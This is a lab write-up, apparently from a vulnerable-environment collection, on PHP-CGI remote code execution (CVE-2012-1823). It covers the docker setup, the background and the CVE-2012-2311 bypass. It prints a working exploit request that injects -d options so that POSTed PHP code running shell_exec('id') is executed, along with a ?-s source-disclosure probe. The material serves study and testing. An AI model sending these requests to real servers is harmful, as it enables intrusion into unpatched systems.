PHP-CGI Remote Code Execution (CVE-2012-1823)

中文版本(Chinese version)

PHP-CGI is a SAPI (Server Application Programming Interface) implementation that allows PHP to communicate with web servers. A vulnerability in PHP-CGI allows attackers to pass command-line arguments to PHP through query strings, potentially leading to remote code execution.

Affected versions: PHP < 5.3.12 or PHP < 5.4.2

References:

Environment Setup

Execute the following command to start a web server that uses PHP-CGI 5.4.1:

docker compose up -d

After the server starts, visit http://your-ip:8080/ to see the "Hello" message.

Vulnerability Reproduction

Visit http://your-ip:8080/index.php?-s to reveal the source code, confirming the vulnerability exists. Send the following request to execute arbitrary PHP code:

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php echo shell_exec("id"); ?>

Technical Details

PHP SAPI and Running Modes

PHP-CGI can run in two modes:

  1. CGI mode: The web server creates a new process for each request
  2. FastCGI mode: A persistent process handles multiple requests

According to RFC3875, when the query string doesn't contain an unencoded = character, it should be passed as CGI parameters. Apache implemented this requirement, but PHP didn't properly handle this case, leading to this vulnerability.

The simplest exploitation method is using the -s parameter to display source code:

A more powerful method is using -d to specify auto_prepend_file, creating an arbitrary file inclusion vulnerability:

Note: Replace spaces with + or %20, and encode = characters.

CVE-2012-2311 - The Incomplete Fix

PHP initially fixed this vulnerability in versions 5.4.2 and 5.3.12 by checking for the - character at the start of the query string. However, this fix was incomplete and could be bypassed (CVE-2012-2311) when PHP-CGI was wrapped in a shell script:

#!/bin/sh
exec /usr/local/bin/php-cgi $*

By adding whitespace before the -, attackers could still pass parameters as the first character would be a space instead of -.

PHP addressed this in versions 5.4.3 and 5.3.13 by skipping all leading whitespace before checking for the - character.